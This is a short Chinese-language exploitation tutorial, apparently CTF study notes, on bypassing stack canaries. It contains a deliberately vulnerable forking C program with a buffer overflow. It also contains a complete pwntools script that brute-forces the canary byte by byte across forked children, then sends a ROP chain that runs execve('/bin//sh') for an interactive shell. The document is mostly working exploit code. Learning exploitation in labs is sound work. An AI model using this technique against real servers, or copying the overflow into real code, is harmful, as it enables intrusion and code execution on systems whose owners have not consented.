canary 绕过
泄露canary
逐字节爆破
例如下面的程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| #include<stdio.h> #include<string.h> #include <unistd.h> #include <wait.h> void vuln() { char buf[0x100]; puts("please input:"); read(0, buf, 0x200); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); while (1) { pid_t pid = fork(); if (pid < 0) { break; } else if (pid > 0) { wait(0); } else { vuln(); } } return 0; }
|
由于 fork 产生的子进程的 canary 与父进程相同,因此可以根据子进程是否打印报错信息来逐字节爆破 canary 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * elf = ELF("./test") context(arch=elf.arch, os=elf.os)
p = process([elf.path]) canary = '\x00' while len(canary) < 8: info(len(canary)) for c in range(0x100): p.sendafter("please input:\n", "a" * 0x108 + canary + p8(c)) if not p.recvline_contains('stack smashing detected', timeout=1): canary += p8(c) break canary = u64(canary) success("canary: " + hex(canary)) payload = '' payload += 'a' * 0x108 payload += p64(canary) payload += 'b' * 8
payload += p64(0x000000000040f23e) payload += p64(0x00000000004c10e0) payload += p64(0x00000000004493d7) payload += b'/bin//sh' payload += p64(0x000000000047c4e5) payload += p64(0x000000000040f23e) payload += p64(0x00000000004c10e8) payload += p64(0x00000000004437a0) payload += p64(0x000000000047c4e5) payload += p64(0x00000000004018c2) payload += p64(0x00000000004c10e0) payload += p64(0x000000000040f23e) payload += p64(0x00000000004c10e8) payload += p64(0x00000000004017cf) payload += p64(0x00000000004c10e8)
payload += p64(elf.search(asm('pop rax; ret;'), executable=True).next()) payload += p64(59) payload+=p64(elf.search(asm('syscall;'), executable=True).next()) p.sendafter("please input:\n", payload) p.interactive()
|